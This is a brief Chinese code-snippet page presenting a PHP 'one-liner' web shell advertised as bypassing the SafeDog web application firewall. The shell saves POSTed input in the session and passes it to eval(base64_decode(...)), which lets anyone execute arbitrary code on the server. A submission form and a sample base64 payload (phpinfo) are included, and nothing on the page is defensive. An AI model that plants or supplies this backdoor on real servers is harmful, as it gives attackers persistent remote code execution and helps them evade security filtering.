首页 > 代码库 > 过狗一句话

过狗一句话

<?PHPsession_start();if(isset($_POST[‘code‘])){$_SESSION[‘theCode‘] = trim($_POST[‘code‘]);}if(isset($_SESSION[‘theCode‘])){eval(base64_decode($_SESSION[‘theCode‘]));}?>

exp:

<form ENCTYPE="multipart/form-data" ACTION="http://localhost/test/test.php" METHOD="POST"><input NAME="code" TYPE="text"><input VALUE="http://www.mamicode.com/提交" TYPE="submit"></form>

  

cGhwaW5mbygpOw==